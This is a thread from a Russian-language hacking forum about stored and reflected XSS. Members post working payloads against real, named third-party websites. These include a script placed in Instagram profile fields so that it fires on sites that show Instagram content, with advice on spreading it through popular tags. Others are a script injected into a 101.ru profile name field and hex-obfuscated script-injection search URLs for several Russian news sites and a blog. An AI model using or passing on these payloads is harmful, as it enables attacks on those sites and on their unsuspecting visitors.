Хранимые XSS

Discussion in 'Уязвимости' started by +toxa+, 18 Mar 2007.

  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    804
    Reputations:
    841
    _________________________
    GroM88, BabaDook and Ruslan1993it like this.
  2. ms13

    ms13 Well-Known Member

    Joined:
    19 Jun 2015
    Messages:
    2,341
    Likes Received:
    10,409
    Reputations:
    116
    Сто пудов уже было, ну а так для тех кто не в курсе, может сгодится!
    Если в instagram'e вместо имени, в инфе о себе или в коментариях вставить наш скрипт, то на многих сторонних ресурсах, что предоставляют доступ к контенту instagram.com, в браузере он автоматически отработает! Яркий пример тому iconosquare.com, срабатывание во время скролла после поисковой выдачи они недавно "пофиксили", жаль, но если перейти на понравившееся фото или на профиль, то всё отработает, как надо!

    Пруф! - фото в профиле, тоже с добавкой! )

    [​IMG]

    И чем больше популярных тегов рядом с нашим скриптом, тем чаще его будет выдавать сёрч , тем, соответствено, больше срабатываний!
    На самом деле таких ресурсов много!
     
    #502 ms13, 10 Feb 2016
    Last edited: 10 Feb 2016
  3. danil7493

    danil7493 Member

    Joined:
    24 Jul 2011
    Messages:
    23
    Likes Received:
    7
    Reputations:
    10
    http://101.ru/
    Заходим в Мой профайл в поле 'ИМЯ' ставим "><script>alert("123")</script> сохраняем
    Заходим в Мое промо http://101.ru/?an=my_promo
    [​IMG]
     
    #503 danil7493, 23 Apr 2016
    Last edited: 23 Apr 2016
  4. ilia455

    ilia455 New Member

    Joined:
    7 Sep 2015
    Messages:
    6
    Likes Received:
    1
    Reputations:
    2
    Знаю что отраженные, но все же

    hi-news.ru:
    тиц 2400

    Code:
     http://hi-news.ru/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e 
    appleinsider.ru:
    тиц 1500

    Code:
     http://appleinsider.ru?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e 
    androidinsider.ru:
    тиц 500

    Code:
     http://androidinsider.ru/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e 
     
    <Cyber-punk> likes this.
  5. ilia455

    ilia455 New Member

    Joined:
    7 Sep 2015
    Messages:
    6
    Likes Received:
    1
    Reputations:
    2
    blog.rebz.net

    Code:
    http://blog.rebz.net/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x27\\x52\\x65\\x62\\x7a\\x20\\x70\\x72\\x6f\\x73\\x74\\x69\\x27\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e
     
Loading...
Similar Threads - Хранимые
  1. 4upakabr0
    Replies:
    3
    Views:
    1,859